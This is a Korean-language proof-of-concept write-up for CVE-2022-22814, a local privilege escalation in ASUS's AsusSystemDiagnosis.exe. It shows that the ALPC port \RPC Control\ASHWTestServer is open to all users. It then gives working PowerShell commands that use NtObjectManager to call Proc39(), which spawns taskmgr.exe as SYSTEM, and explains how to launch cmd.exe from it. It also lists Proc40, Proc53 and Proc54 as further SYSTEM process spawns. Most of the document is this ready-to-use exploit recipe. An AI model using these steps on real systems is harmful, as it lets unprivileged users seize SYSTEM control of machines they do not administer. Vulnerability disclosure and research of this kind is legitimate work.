CVE-2022-22814_PoC

권한 상승 - AsusSystemDiagnosis.exe - Proc39()

Full Path: C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe

문제:

AsusSystemDiagnosis.exe가 노출하는 ALPC 포트 \RPC Control\ASHWTestServer는 모든 사용자가 완전히 접근할 수 있습니다. 이 포트를 통해 RPC로 Proc39()를 호출하면 현재 사용자 세션에서 SYSTEM 권한으로 taskmgr.exe 프로세스가 생성됩니다.

악용:

Project Zero의 NtObjectManager RPC 도구(https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools - 컴파일된 릴리스를 사용해야 함)를 활용하여 취약한 RPC 포트에 연결한 후 Proc39()를 호출할 수 있습니다. SYSTEM taskmgr.exe 프로세스가 생성되면 컨텍스트 메뉴에서 '새 작업 실행' 기능(파일 > 새 작업 실행 > cmd.exe)을 사용하여 cmd.exe 셸을 생성할 수 있습니다.

NtObjectManager:

$server = get-rpcserver C:\WINDOWS\System32\DriverStore\FileRepository\asussci2.inf_amd64_d385bdc0d33d66f9\ASUSSystemDiagnosis\AsusSystemDiagnosis.exe

$client = get-rpcclient $server

$client.connect()

$client.Proc39()

권한 상승 - AsusSystemDiagnosis.exe - Proc40()

위와 동일하지만 mmc.exe를 SYSTEM으로 생성합니다. 새 작업을 생성하거나 탐색 기능을 사용하여 explorer.exe 창을 열고 주소 표시줄에서 cmd.exe를 실행할 수 있습니다.

추가 참고 사항:

• Proc53() - systemreset.exe를 SYSTEM으로 생성
• Proc54() - RecoveryDrive.exe를 SYSTEM으로 생성